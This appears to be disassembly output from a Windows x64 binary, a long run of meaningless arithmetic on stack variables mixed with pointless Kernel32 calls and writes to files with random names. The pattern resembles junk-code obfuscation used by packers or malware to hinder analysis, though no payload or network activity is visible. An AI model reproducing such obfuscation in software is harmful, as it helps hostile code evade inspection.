mov rax, qword [rsp + 0x1a918]
movzx eax, byte [rax]
movzx ecx, byte [rsp + 0x83a]
and eax, ecx
mov byte [rsp + 0x60a], al
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_GetProcessHandleCount]
movzx eax, word [rsp + 0x39f8]
mov rcx, qword [rsp + 0x19858]
movzx ecx, word [rcx]
imul eax, ecx
mov word [0x1402ad894], ax
mov dword [rsp + 0x2d890], 0x114
mov rax, qword [rsp + 0x19af0]
mov eax, dword [rax]
mov dword [rsp + 0xdb5c], eax
mov eax, dword [rsp + 0xd950]
mov ecx, dword [rsp + 0xd8b0]
sub ecx, eax
mov eax, ecx
mov dword [rsp + 0xd2c0], eax
lea rax, [rsp + 0xce08]
mov qword [rsp + 0x1aa30], rax
mov rax, qword [0x1402bf670]
mov rcx, qword [rsp + 0x19910]
mov ecx, dword [rcx]
mov eax, dword [rax]
sub eax, ecx
mov dword [rsp + 0xafa0], eax
mov edx, 0x2a46f4
mov rcx, qword [rsp + 0x19b30]
call qword [sym.imp.KERNEL32.dll_SetFileValidData]
mov dword [rsp + 0xdac0], eax
movzx eax, byte [rsp + 0x837]
mov byte [rsp + 0x88c], al
mov rax, qword [rsp + 0x1a030]
movzx eax, word [rax]
movzx ecx, word [rsp + 0x180c]
add eax, ecx
mov word [rsp + 0x3618], ax
mov rax, qword [rsp + 0x19880]
movsx eax, byte [rax]
movsx ecx, byte [rsp + 0x55]
add eax, ecx
mov rcx, qword [rsp + 0x19d50]
mov byte [rcx], al
mov rax, qword [rsp + 0x19800]
movsx eax, word [rax]
mov rcx, qword [rsp + 0x19f90]
movsx ecx, word [rcx]
add eax, ecx
mov word [rsp + 0x22e8], ax
mov rax, qword [rsp + 0x19910]
mov ecx, dword [0x1402bf5f8]
mov eax, dword [rax]
sub eax, ecx
mov dword [0x1402ad898], eax
mov rax, qword [rsp + 0x1a928]
mov eax, dword [rax]
mov ecx, dword [rsp + 0xd630]
and ecx, eax
mov eax, ecx
mov dword [rsp + 0xd5a8], eax
mov rax, qword [rsp + 0x1a218]
movzx eax, byte [rax]
mov byte [rsp + 0x88d], al
mov rax, qword [rsp + 0x19950]
movzx eax, word [rax]
mov rcx, qword [rsp + 0x19a88]
movzx ecx, word [rcx]
imul eax, ecx
mov word [rsp + 0x39ac], ax
mov rax, qword [rsp + 0x19ca0]
mov ecx, dword [rsp + 0xbcc4]
mov eax, dword [rax]
add eax, ecx
mov dword [rsp + 0xd33c], eax
lea rax, [rsp + 0xd22c]
mov qword [rsp + 0x1aa38], rax
mov eax, dword [rsp + 0xd6d0]
mov rcx, qword [rsp + 0x1a9e8]
mov qword [rsp + 0x1aa40], rcx
movzx ecx, al
mov rax, qword [rsp + 0x1aa40]
mov eax, dword [rax]
sar eax, cl
mov dword [rsp + 0xd7b8], eax
mov eax, dword [rsp + 0xd2a4]
mov dword [rsp + 0xdb60], eax
mov rax, qword [rsp + 0x1a930]
movzx eax, word [rax]
mov rcx, qword [rsp + 0x1a8f8]
movzx ecx, word [rcx]
shl eax, cl
mov word [rsp + 0x392c], ax
movzx eax, byte [0x1402bf711]
mov rcx, qword [rsp + 0x1a638]
movzx ecx, byte [rcx]
cdq
idiv ecx
mov byte [0x1402acc33], al
mov eax, dword [rsp + 0xd900]
mov ecx, dword [rsp + 0xd9e4]
xor ecx, eax
mov eax, ecx
mov dword [rsp + 0xa2e8], eax
mov eax, dword [0x1402ad71c]
mov ecx, dword [rsp + 0xdb30]
or ecx, eax
mov eax, ecx
mov dword [rsp + 0xcc24], eax
mov rax, qword [rsp + 0x196b8]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x8c24]
add ecx, eax
mov eax, ecx
mov dword [rsp + 0xd384], eax
mov eax, dword [rsp + 0xd270]
mov dword [rsp + 0xdb64], eax
mov eax, dword [0x1402ad7ec]
mov ecx, dword [rsp + 0xbe2c]
and ecx, eax
mov eax, ecx
mov dword [rsp + 0xd320], eax
mov rax, qword [rsp + 0x19f48]
movsx eax, byte [rax]
movsx ecx, byte [rsp + 0x4bc]
add eax, ecx
mov byte [rsp + 0x7ad], al
call qword [sym.imp.KERNEL32.dll_GetVersion]
mov dword [rsp + 0xce38], eax
movzx eax, word [rsp + 0x39b4]
mov word [rsp + 0x3ab8], ax
movzx eax, word [0x1402ad6f8]
mov rcx, qword [rsp + 0x19bc0]
movzx ecx, word [rcx]
add eax, ecx
mov word [rsp + 0x20c8], ax
mov rax, qword [rsp + 0x1a840]
movzx eax, byte [rax]
mov rcx, qword [rsp + 0x1a120]
movzx ecx, byte [rcx]
sub eax, ecx
mov byte [0x1402acc52], al
mov rax, qword [rsp + 0x1a610]
mov eax, dword [rax]
mov ecx, dword [rsp + 0xa7c4]
sub ecx, eax
mov eax, ecx
mov dword [rsp + 0xb0cc], eax
mov rax, qword [rsp + 0x19e68]
mov rcx, qword [rsp + 0x1a888]
mov ecx, dword [rcx]
mov eax, dword [rax]
sub eax, ecx
mov dword [rsp + 0xd6f0], eax
lea rax, [rsp + 0x1be4]
mov qword [rsp + 0x1aa48], rax
mov rax, qword [rsp + 0x1a398]
movzx eax, byte [rax]
movzx ecx, byte [0x1402acc23]
sub eax, ecx
mov byte [rsp + 0x88d], al
mov eax, dword [rsp + 0xcfe0]
mov ecx, dword [rsp + 0xcfbc]
sub ecx, eax
mov eax, ecx
mov dword [rsp + 0xd5b8], eax
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_LocalCompact]
lea rax, [rsp + 0xd0bc]
mov qword [rsp + 0x1aa50], rax
mov rax, qword [rsp + 0x1a108]
mov ecx, dword [rsp + 0xa528]
mov eax, dword [rax]
and eax, ecx
mov rcx, qword [rsp + 0x19c78]
mov dword [rcx], eax
xor r8d, r8d
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_CreateMutexW]
mov qword [rsp + 0x1aa58], rax
mov rax, qword [rsp + 0x1a098]
mov eax, dword [rax]
mov dword [rsp + 0xdb68], eax
lea rax, [rsp + 0x3a20]
mov qword [0x1402bf458], rax
mov rax, qword [rsp + 0x19fb0]
movzx eax, byte [rax]
movzx ecx, byte [rsp + 0x30c]
xor eax, ecx
mov byte [rsp + 0x7fa], al
call qword [sym.imp.KERNEL32.dll_GetLastError]
mov dword [rsp + 0xd2c8], eax
mov eax, dword [rsp + 0xd0e4]
movzx ecx, al
mov eax, dword [rsp + 0xca00]
shl eax, cl
mov dword [rsp + 0xa25c], eax
mov edx, 0x7fda7f
mov rcx, qword [rsp + 0x19b68]
call qword [sym.imp.KERNEL32.dll_SetFileValidData]
mov dword [rsp + 0xd8e0], eax
mov rax, qword [rsp + 0x1a518]
mov eax, dword [rax]
mov dword [rsp + 0xdb6c], eax
movsx eax, word [rsp + 0x35a4]
mov rcx, qword [0x1402bf708]
movsx ecx, word [rcx]
or eax, ecx
mov word [rsp + 0x38fc], ax
mov rax, qword [rsp + 0x19bb0]
movsx eax, byte [rax]
movsx ecx, byte [rsp + 0x69c]
sar eax, cl
mov byte [rsp + 0x4ff], al
mov qword [rsp + 0x30], 0
mov dword [rsp + 0x28], ILIsParent
mov dword [rsp + 0x20], 1
xor r9d, r9d
mov r8d, 8
mov edx, 0x40000000
lea rcx, str.fXsIC25W4z9YyIX1MLz
call qword [sym.imp.KERNEL32.dll_CreateFileW]
mov qword [rsp + 0x1aa60], rax
mov rax, qword [rsp + 0x1a1d0]
movzx eax, byte [rax]
movzx ecx, byte [rsp + 0x80a]
add eax, ecx
mov byte [rsp + 0x79d], al
movzx eax, word [rsp + 0x36d0]
mov rcx, qword [rsp + 0x1a8e8]
movzx ecx, word [rcx]
add eax, ecx
mov word [rsp + 0x3688], ax
mov rax, qword [rsp + 0x199f8]
mov eax, dword [rax]
mov dword [rsp + 0xdb70], eax
mov rax, qword [rsp + 0x19d20]
mov eax, dword [rax]
mov dword [0x1402bf454], eax
mov rax, qword [0x1402bf628]
mov eax, dword [rax]
mov ecx, dword [rsp + 0xd264]
and ecx, eax
mov eax, ecx
mov dword [rsp + 0xd544], eax
mov rax, qword [rsp + 0x19bf8]
mov eax, dword [rax]
mov dword [rsp + 0xdb74], eax
mov eax, dword [rsp + 0x9ccc]
mov ecx, dword [rsp + 0xd714]
add ecx, eax
mov eax, ecx
mov dword [rsp + 0xd3a4], eax
movzx eax, word [rsp + 0x2338]
mov word [rsp + 0x3abc], ax
movzx eax, byte [rsp + 0x84f]
movzx ecx, byte [rsp + 0x7fd]
sub eax, ecx
mov byte [rsp + 0xaa], al
mov rax, qword [rsp + 0x1a498]
mov rcx, qword [rsp + 0x19a70]
mov ecx, dword [rcx]
mov eax, dword [rax]
add eax, ecx
mov dword [rsp + 0xd9cc], eax
mov rax, qword [rsp + 0x1a420]
mov rcx, qword [rsp + 0x19af0]
mov ecx, dword [rcx]
mov eax, dword [rax]
add eax, ecx
mov dword [rsp + 0xb134], eax
mov rax, qword [rsp + 0x19a30]
mov ecx, dword [rsp + 0xcf2c]
mov eax, dword [rax]
sub eax, ecx
mov dword [rsp + 0xdb24], eax
mov eax, dword [0x1402bf770]
mov ecx, dword [rsp + 0x9124]
sub ecx, eax
mov eax, ecx
mov dword [0x1402ad6cc], eax
mov rax, qword [rsp + 0x19948]
movzx eax, byte [rax]
mov byte [rsp + 0x88e], al
mov rax, qword [rsp + 0x19d68]
movzx eax, word [rax]
movzx ecx, word [rsp + 0x2424]
sub eax, ecx
mov word [rsp + 0x1e80], ax
movsx eax, byte [rsp + 0x889]
movsx ecx, byte [0x1402acb8b]
sub eax, ecx
mov byte [rsp + 0x782], al
movzx eax, word [rsp + 0x3a60]
mov word [rsp + 0x3ac0], ax
mov rax, qword [rsp + 0x19f58]
mov rcx, qword [rsp + 0x19e50]
mov ecx, dword [rcx]
mov eax, dword [rax]
xor eax, ecx
mov dword [rsp + 0xd460], eax
mov r9d, 1
xor r8d, r8d
mov edx, 0xbeb2
mov rcx, qword [rsp + 0x1a648]
call qword [sym.imp.KERNEL32.dll_SetFilePointer]
mov dword [rsp + 0xd674], eax
mov rax, qword [rsp + 0x1a0e8]
mov ecx, dword [rsp + 0xce18]
mov eax, dword [rax]
or eax, ecx
mov dword [rsp + 0x928c], eax
movzx eax, word [rsp + 0x2dd4]
mov rcx, qword [rsp + 0x1a7b8]
movzx ecx, word [rcx]
shl eax, cl
mov word [rsp + 0x3654], ax
mov rax, qword [rsp + 0x19a50]
movzx eax, byte [rax]
mov rcx, qword [rsp + 0x1a688]
movzx ecx, byte [rcx]
sar eax, cl
mov byte [rsp + 0x818], al
mov rax, qword [rsp + 0x19f88]
mov rcx, qword [rsp + 0x1a1b8]
mov ecx, dword [rcx]
mov eax, dword [rax]
and eax, ecx
mov dword [0x1402ad89c], eax
mov rax, qword [rsp + 0x19a18]
mov eax, dword [rax]
mov dword [rsp + 0xdb78], eax
mov rax, qword [rsp + 0x19d98]
mov ecx, dword [rsp + 0xda64]
mov eax, dword [rax]
add eax, ecx
mov dword [rsp + 0xc1ac], eax
mov eax, dword [rsp + 0xba78]
mov dword [rsp + 0xdb7c], eax
mov rax, qword [rsp + 0x19b78]
movzx eax, byte [rax]
movzx ecx, byte [rsp + 0x43a]
add eax, ecx
mov byte [rsp + 0x38b], al
movzx eax, word [rsp + 0x3640]
movzx ecx, word [0x1402bf618]
imul eax, ecx
mov word [rsp + 0x252c], ax
lea rax, [rsp + 0xd7f8]
mov qword [rsp + 0x1aa68], rax
mov rax, qword [rsp + 0x1a338]
mov eax, dword [rax]
mov ecx, dword [rsp + 0xd5fc]
and ecx, eax
mov eax, ecx
mov dword [rsp + 0xd65c], eax
lea rax, [rsp + 0xcdf4]
mov qword [rsp + 0x1aa70], rax
mov rax, qword [rsp + 0x19988]
mov ecx, dword [rsp + 0xd760]
mov eax, dword [rax]
sub eax, ecx
mov dword [0x1402ad7a8], eax
mov rax, qword [rsp + 0x1a3d8]
mov ecx, dword [rsp + 0xd4d8]
mov eax, dword [rax]
add eax, ecx
mov dword [rsp + 0xce64], eax
movzx ecx, word [rsp + 0x3930]
call qword [sym.imp.KERNEL32.dll_DeleteAtom]
mov word [rsp + 0x3930], ax
lea rax, [0x1402acb7b]
mov qword [rsp + 0x1aa78], rax
mov rax, qword [rsp + 0x1a340]
movsx eax, word [rax]
mov rcx, qword [rsp + 0x19890]
movsx ecx, word [rcx]
sub eax, ecx
mov word [rsp + 0x3604], ax
mov rax, qword [rsp + 0x19b78]
movzx eax, byte [rax]
movzx ecx, byte [rsp + 0x82d]
sub eax, ecx
mov byte [rsp + 0x7f1], al
movzx eax, word [rsp + 0x2104]
movzx ecx, word [rsp + 0x3990]
add eax, ecx
mov word [rsp + 0x181c], ax
mov rax, qword [rsp + 0x19a90]
mov eax, dword [rax]
mov ecx, dword [rsp + 0xcec8]
xor ecx, eax
mov eax, ecx
mov dword [rsp + 0x8544], eax
mov eax, dword [rsp + 0xaa48]
mov dword [rsp + 0xdb80], eax
movzx eax, word [rsp + 0x23c4]
mov rcx, qword [rsp + 0x1a2e8]
movzx ecx, word [rcx]
sar eax, cl
mov word [rsp + 0x36c4], ax
mov rax, qword [rsp + 0x1a558]
movzx eax, byte [rax]
movzx ecx, byte [rsp + 0x7d6]
shl eax, cl
mov byte [0x1402bf61e], al
mov rax, qword [rsp + 0x1a380]
mov eax, dword [rax]
mov ecx, dword [rsp + 0xd6b0]
or ecx, eax
mov eax, ecx
mov dword [rsp + 0xd484], eax
mov eax, dword [rsp + 0xd038]
mov dword [rsp + 0xdb84], eax
mov rax, qword [rsp + 0x1a3d8]
mov ecx, dword [rsp + 0xd520]
mov eax, dword [rax]
and eax, ecx
mov dword [rsp + 0xdb28], eax
xor r9d, r9d
xor r8d, r8d
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_CreateEventW]
mov qword [rsp + 0x1aa80], rax
mov rax, qword [rsp + 0x19710]
mov eax, dword [rax]
mov ecx, dword [0x1402ad774]
sub ecx, eax
mov eax, ecx
mov dword [rsp + 0x7fb4], eax
movzx eax, byte [rsp + 0x804]
movzx ecx, byte [rsp + 0x7bd]
add eax, ecx
mov byte [rsp + 0x7ae], al
movzx eax, word [rsp + 0x2240]
movzx ecx, word [0x1402ad784]
add eax, ecx
mov rcx, qword [rsp + 0x1a5d8]
mov word [rcx], ax
mov rax, qword [rsp + 0x1a338]
mov eax, dword [rax]
mov dword [rsp + 0xdb88], eax
mov rax, qword [rsp + 0x19c10]
mov rcx, qword [rsp + 0x1a580]
mov ecx, dword [rcx]
mov eax, dword [rax]
sub eax, ecx
mov dword [rsp + 0x81a4], eax
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_DecodePointer]
mov rax, qword [rsp + 0x19f90]
movsx eax, word [rax]
movsx ecx, word [rsp + 0x3614]
and eax, ecx
mov word [0x1402ad8a0], ax
lea rax, [rsp + 0x4bc]
mov qword [rsp + 0x1aa88], rax
mov rax, qword [rsp + 0x1a868]
movzx eax, byte [rax]
mov rcx, qword [rsp + 0x19830]
movzx ecx, byte [rcx]
imul eax, ecx
mov byte [rsp + 0x7aa], al
movzx eax, word [rsp + 0x36c8]
mov word [rsp + 0x3ac4], ax
mov rax, qword [rsp + 0x19a90]
mov eax, dword [rax]
mov ecx, dword [rsp + 0xd584]
add ecx, eax
mov eax, ecx
mov dword [rsp + 0x8354], eax
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_SetLastError]
mov rax, qword [rsp + 0x1a0d0]
mov rcx, qword [rsp + 0x1a888]
mov ecx, dword [rcx]
mov eax, dword [rax]
add eax, ecx
mov dword [rsp + 0xd0dc], eax
mov eax, dword [rsp + 0xb688]
mov ecx, dword [rsp + 0x9da0]
sub ecx, eax
mov eax, ecx
mov dword [rsp + 0xb7e4], eax
mov eax, dword [rsp + 0xd6d8]
mov ecx, dword [rsp + 0xd394]
sub ecx, eax
mov eax, ecx
mov dword [rsp + 0xd1bc], eax
mov eax, dword [rsp + 0xd2a0]
mov dword [rsp + 0xdb8c], eax
movzx eax, word [rsp + 0x2c18]
movzx ecx, word [rsp + 0x180c]
or eax, ecx
mov word [rsp + 0x39dc], ax
mov rax, qword [rsp + 0x1a1d0]
movzx eax, byte [rax]
mov rcx, qword [rsp + 0x19830]
movzx ecx, byte [rcx]
cdq
idiv ecx
mov byte [0x1402acba3], al
mov eax, dword [rsp + 0xa198]
mov rcx, qword [rsp + 0x19e88]
mov qword [rsp + 0x1aa90], rcx
movzx ecx, al
mov rax, qword [rsp + 0x1aa90]
mov eax, dword [rax]
shr eax, cl
mov rcx, qword [rsp + 0x19ef0]
mov dword [rcx], eax
mov eax, dword [rsp + 0xda28]
mov dword [rsp + 0xdb90], eax
mov rax, qword [rsp + 0x19e78]
mov ecx, dword [rsp + 0xd850]
mov eax, dword [rax]
xor eax, ecx
mov dword [rsp + 0xd9ec], eax
mov rax, qword [rsp + 0x19f00]
mov eax, dword [rax]
mov dword [rsp + 0xdb94], eax
movzx eax, byte [rsp + 0x3a1]
mov rcx, qword [rsp + 0x19fa0]
movzx ecx, byte [rcx]
shl eax, cl
mov byte [rsp + 0x870], al
movzx eax, word [rsp + 0x1f40]
movzx ecx, word [rsp + 0x2d64]
imul eax, ecx
mov word [rsp + 0x3674], ax
lea rax, str._v_ap
mov qword [rsp + 0x1aa98], rax
mov rax, qword [rsp + 0x19800]
movsx eax, word [rax]
movsx ecx, word [rsp + 0x2678]
and eax, ecx
mov word [rsp + 0x3ab8], ax
mov rax, qword [rsp + 0x19a90]
mov eax, dword [rax]
mov dword [0x1402bf450], eax
mov rax, qword [rsp + 0x1a580]
mov rcx, qword [rsp + 0x1a338]
mov ecx, dword [rcx]
mov eax, dword [rax]
add eax, ecx
mov dword [rsp + 0x84c8], eax
mov rax, qword [rsp + 0x1a930]
movzx eax, word [rax]
movzx ecx, word [rsp + 0x36bc]
sub eax, ecx
mov rcx, qword [rsp + 0x19ec0]
mov word [rcx], ax
movzx eax, byte [rsp + 0x18a]
movzx ecx, byte [rsp + 0x190]
sub eax, ecx
mov rcx, qword [rsp + 0x1a188]
mov byte [rcx], al
mov eax, dword [rsp + 0xce54]
mov dword [rsp + 0xdb98], eax
mov rax, qword [rsp + 0x1a420]
mov rcx, qword [rsp + 0x1a570]
mov ecx, dword [rcx]
mov eax, dword [rax]
add eax, ecx
mov dword [rsp + 0x9674], eax
mov eax, dword [rsp + 0xd660]
mov dword [rsp + 0xdb9c], eax
mov rax, qword [rsp + 0x1a428]
mov rcx, qword [0x1402bf4b0]
mov ecx, dword [rcx]
mov eax, dword [rax]
sub eax, ecx
mov rcx, qword [rsp + 0x198c0]
mov dword [rcx], eax
mov rax, qword [rsp + 0x19848]
movzx eax, word [rax]
movzx ecx, word [rsp + 0x3674]
and eax, ecx
mov word [rsp + 0x2d6c], ax
lea rax, [rsp + 0x7b3]
mov qword [0x1402bf448], rax
mov rax, qword [rsp + 0x1a9d0]
mov eax, dword [rax]
mov ecx, dword [0x1402ad840]
add ecx, eax
mov eax, ecx
mov dword [rsp + 0xd700], eax
mov rax, qword [rsp + 0x1a498]
mov rcx, qword [rsp + 0x1a2f0]
mov ecx, dword [rcx]
mov eax, dword [rax]
add eax, ecx
mov dword [rsp + 0x9c10], eax
mov rax, qword [rsp + 0x1aa30]
mov eax, dword [rax]
mov dword [rsp + 0xdba0], eax
mov rax, qword [rsp + 0x1a070]
mov rcx, qword [rsp + 0x19c78]
mov ecx, dword [rcx]
mov eax, dword [rax]
sub eax, ecx
mov dword [rsp + 0xd818], eax
lea rcx, [rsp + 0x2d890]
call qword [sym.imp.KERNEL32.dll_GetVersionExW]
mov dword [rsp + 0xd07c], eax
mov rax, qword [rsp + 0x1a210]
mov eax, dword [rax]
mov dword [rsp + 0xdba4], eax
mov rax, qword [rsp + 0x19ec8]
movsx eax, word [rax]
mov rcx, qword [rsp + 0x1a8a8]
movsx ecx, word [rcx]
xor eax, ecx
mov word [rsp + 0x38a8], ax
movsx eax, byte [0x1402acb46]
movsx ecx, byte [rsp + 0x87e]
shl eax, cl
mov byte [rsp + 0x86a], al
movzx eax, word [rsp + 0x3734]
mov rcx, qword [rsp + 0x1a5d8]
movzx ecx, word [rcx]
sar eax, cl
mov word [rsp + 0x2bb0], ax
lea rcx, [rsp + 0x1aaa0]
call qword [sym.imp.KERNEL32.dll_QueryPerformanceFrequency]
movzx eax, byte [rsp + 0x81d]
movzx ecx, byte [rsp + 0x7e0]
or eax, ecx
mov rcx, qword [0x1402bf518]
mov byte [rcx], al
mov rax, qword [rsp + 0x1a948]
mov rcx, qword [rsp + 0x19f58]
mov ecx, dword [rcx]
mov eax, dword [rax]
and eax, ecx
mov dword [rsp + 0xdaec], eax
mov rax, qword [rsp + 0x1a528]
mov eax, dword [rax]
mov dword [rsp + 0xdba8], eax
mov rax, qword [rsp + 0x19c28]
movzx eax, byte [rax]
mov rcx, qword [rsp + 0x19a50]
movzx ecx, byte [rcx]
add eax, ecx
mov byte [rsp + 0x86f], al
movzx eax, word [rsp + 0x35dc]
movzx ecx, word [rsp + 0x3860]
sub eax, ecx
mov word [rsp + 0x38a0], ax
mov ecx, 8
call qword [sym.imp.KERNEL32.dll_IsProcessorFeaturePresent]
mov dword [rsp + 0xd48c], eax
mov rax, qword [rsp + 0x19f20]
mov eax, dword [rax]
mov dword [rsp + 0xdbac], eax
mov rax, qword [rsp + 0x19e50]
mov ecx, dword [rsp + 0xda4c]
mov eax, dword [rax]
add eax, ecx
mov dword [rsp + 0xd840], eax
mov rax, qword [rsp + 0x19b90]
mov rcx, qword [rsp + 0x19938]
mov ecx, dword [rcx]
mov eax, dword [rax]
add eax, ecx
mov dword [rsp + 0x8bd0], eax
mov rax, qword [rsp + 0x1a0e8]
mov ecx, dword [rsp + 0xd01c]
mov eax, dword [rax]
sub eax, ecx
mov dword [rsp + 0x91e8], eax
mov r9d, 2
lea r8, [rsp + 0x19ed8]
mov rdx, qword [rsp + 0x19738]
mov rcx, qword [rsp + 0x19838]
call qword [sym.imp.KERNEL32.dll_SetFilePointerEx]
mov dword [rsp + 0xd730], eax
movzx eax, word [rsp + 0x28dc]
movzx ecx, word [rsp + 0x3a00]
sub eax, ecx
mov word [0x1402ad650], ax
movzx eax, byte [rsp + 0x7b5]
mov rcx, qword [rsp + 0x1a4e8]
movzx ecx, byte [rcx]
imul eax, ecx
mov byte [rsp + 0x7bb], al
call qword [sym.imp.KERNEL32.dll_GetCurrentThreadId]
mov dword [rsp + 0xdbb0], eax
mov rax, qword [rsp + 0x1a250]
mov eax, dword [rax]
mov dword [rsp + 0xdbb4], eax
mov eax, dword [rsp + 0xd744]
mov ecx, dword [rsp + 0xd4c8]
and ecx, eax
mov eax, ecx
mov dword [rsp + 0x95c8], eax
mov rax, qword [rsp + 0x19e30]
movzx eax, byte [rax]
mov byte [rsp + 0x88f], al
movsx eax, word [rsp + 0x39b4]
movsx ecx, word [rsp + 0x3918]
sub eax, ecx
mov word [rsp + 0x3754], ax
mov rax, qword [rsp + 0x19b50]
movzx eax, word [rax]
mov word [rsp + 0x3ac8], ax
movzx eax, byte [rsp + 0x2fd]
mov rcx, qword [rsp + 0x1a840]
movzx ecx, byte [rcx]
shl eax, cl
mov byte [rsp + 0x815], al
mov rax, qword [rsp + 0x1a4e0]
mov eax, dword [rax]
mov ecx, dword [0x1402ad748]
or ecx, eax
mov eax, ecx
mov dword [rsp + 0xd890], eax
lea rax, [rsp + 0xce08]
mov qword [0x1402bf440], rax
mov eax, dword [rsp + 0xd720]
mov ecx, dword [rsp + 0xd4b4]
xor ecx, eax
mov eax, ecx
mov dword [rsp + 0xb0e8], eax
mov dword [rsp + 0x30], 0
mov dword [rsp + 0x28], 0
mov dword [rsp + 0x20], 0
xor r9d, r9d
xor r8d, r8d
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_GetNamedPipeHandleStateA]
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_GetTapeStatus]
lea rdx, [rsp + 0xd218]
mov rcx, qword [rsp + 0x19698]
call qword [sym.imp.KERNEL32.dll_GetFileSize]
mov dword [rsp + 0xdbb8], eax
mov rax, qword [rsp + 0x1a440]
mov eax, dword [rax]
movzx ecx, al
mov eax, dword [rsp + 0xd100]
shr eax, cl
mov dword [rsp + 0xd064], eax
mov rax, qword [rsp + 0x1a9b0]
mov eax, dword [rax]
mov dword [rsp + 0xdbbc], eax
mov edx, 0x144d
mov rcx, qword [rsp + 0x1aa08]
call qword [sym.imp.KERNEL32.dll_WaitForSingleObject]
mov dword [rsp + 0xd200], eax
movzx eax, byte [rsp + 0x84a]
movzx ecx, byte [rsp + 0x794]
add eax, ecx
mov byte [rsp + 0x7e9], al
mov rax, qword [rsp + 0x1a0d8]
movzx eax, word [rax]
movzx ecx, word [rsp + 0x3814]
imul eax, ecx
mov word [rsp + 0x3870], ax
mov eax, dword [rsp + 0xc1ac]
mov dword [rsp + 0xdbc0], eax
mov rax, qword [rsp + 0x1a1b8]
mov rcx, qword [rsp + 0x1a458]
mov ecx, dword [rcx]
mov eax, dword [rax]
and eax, ecx
mov dword [rsp + 0xceac], eax
mov rax, qword [rsp + 0x19850]
mov rcx, qword [rsp + 0x19750]
mov ecx, dword [rcx]
mov eax, dword [rax]
add eax, ecx
mov dword [rsp + 0x9f7c], eax
mov rax, qword [rsp + 0x1a038]
mov ecx, dword [rsp + 0xa93c]
mov eax, dword [rax]
add eax, ecx
mov dword [0x1402ad6a4], eax
movzx eax, word [0x1402ad798]
movzx ecx, word [rsp + 0x2330]
sub eax, ecx
mov rcx, qword [rsp + 0x19e10]
mov word [rcx], ax
movzx eax, byte [rsp + 0x813]
mov rcx, qword [rsp + 0x19c28]
movzx ecx, byte [rcx]
sub eax, ecx
mov rcx, qword [rsp + 0x1a4f0]
mov byte [rcx], al
movzx eax, byte [rsp + 0x4dd]
mov byte [rsp + 0x890], al
movsx eax, word [0x1402ad7f0]
movsx ecx, word [rsp + 0x3850]
add eax, ecx
mov word [rsp + 0x2860], ax
lea rax, [rsp + 0xcdd0]
mov qword [rsp + 0x1aaa8], rax
mov ecx, 0xd
call qword [sym.imp.KERNEL32.dll_IsProcessorFeaturePresent]
mov dword [rsp + 0xd934], eax
mov rax, qword [rsp + 0x1a338]
mov rcx, qword [rsp + 0x1a210]
mov ecx, dword [rcx]
mov eax, dword [rax]
sub eax, ecx
mov dword [rsp + 0xb5b4], eax
mov rax, qword [0x1402bf490]
movzx eax, byte [rax]
mov byte [rsp + 0x891], al
movzx eax, word [rsp + 0x242c]
movzx ecx, word [rsp + 0x3650]
add eax, ecx
mov word [rsp + 0x3abc], ax
mov rax, qword [rsp + 0x19f58]
mov rcx, qword [rsp + 0x19dc0]
mov ecx, dword [rcx]
mov eax, dword [rax]
and eax, ecx
mov dword [0x1402ad8a4], eax
mov rax, qword [0x1402bf638]
mov rcx, qword [rsp + 0x1a9e0]
mov ecx, dword [rcx]
mov eax, dword [rax]
xor eax, ecx
mov dword [rsp + 0xb208], eax
mov eax, dword [rsp + 0xce54]
mov rcx, qword [rsp + 0x19b90]
mov qword [rsp + 0x1aab0], rcx
movzx ecx, al
mov rax, qword [rsp + 0x1aab0]
mov eax, dword [rax]
shl eax, cl
mov dword [rsp + 0xb70c], eax
mov rax, qword [rsp + 0x19b28]
mov eax, dword [rax]
mov rcx, qword [rsp + 0x19eb0]
mov qword [rsp + 0x1aab8], rcx
movzx ecx, al
mov rax, qword [rsp + 0x1aab8]
mov eax, dword [rax]
shr eax, cl
mov dword [rsp + 0xcdf4], eax
mov rax, qword [rsp + 0x1a5d8]
movzx eax, word [rax]
mov word [rsp + 0x3acc], ax
mov rax, qword [rsp + 0x1a688]
movzx eax, byte [rax]
movzx ecx, byte [rsp + 0x7d5]
or eax, ecx
mov byte [rsp + 0x7b4], al
mov rax, qword [0x1402bf628]
mov rcx, qword [rsp + 0x19f18]
mov ecx, dword [rcx]
mov eax, dword [rax]
add eax, ecx
mov dword [rsp + 0xdb6c], eax
lea rax, [rsp + 0x93c4]
mov qword [rsp + 0x1aac0], rax
mov qword [rsp + 0x30], 0
mov dword [rsp + 0x28], 0x400
mov dword [rsp + 0x20], 5
xor r9d, r9d
mov r8d, 8
mov edx, 0x40000000
lea rcx, str.KXbK7OV0Klc04YZAaQbVAxK
call qword [sym.imp.KERNEL32.dll_CreateFileW]
mov qword [rsp + 0x1aac8], rax
mov eax, dword [rsp + 0xd414]
mov ecx, dword [rsp + 0xd958]
sub ecx, eax
mov eax, ecx
mov dword [rsp + 0xd908], eax
mov eax, dword [rsp + 0xd00c]
mov ecx, dword [rsp + 0xdb78]
and ecx, eax
mov eax, ecx
mov dword [0x1402ad6dc], eax
lea rax, [rsp + 0xd38c]
mov qword [rsp + 0x1aad0], rax
mov rax, qword [rsp + 0x1a1a0]
movsx eax, byte [rax]
mov rcx, qword [rsp + 0x19bb0]
movsx ecx, byte [rcx]
sub eax, ecx
mov rcx, qword [rsp + 0x1a158]
mov byte [rcx], al
mov rax, qword [rsp + 0x1a028]
movsx eax, word [rax]
mov rcx, qword [rsp + 0x19768]
movsx ecx, word [rcx]
sub eax, ecx
mov word [rsp + 0x38e4], ax
movzx eax, byte [rsp + 0x81c]
mov byte [rsp + 0x892], al
movzx eax, word [rsp + 0x39f0]
mov rcx, qword [rsp + 0x1a9a0]
movzx ecx, word [rcx]
add eax, ecx
mov word [rsp + 0x36f8], ax
mov eax, dword [rsp + 0xd334]
mov ecx, dword [rsp + 0xd57c]
add ecx, eax
mov eax, ecx
mov dword [rsp + 0xcb30], eax
mov rax, qword [rsp + 0x19c58]
mov eax, dword [rax]
mov ecx, dword [rsp + 0xd648]
add ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0x1aad0]
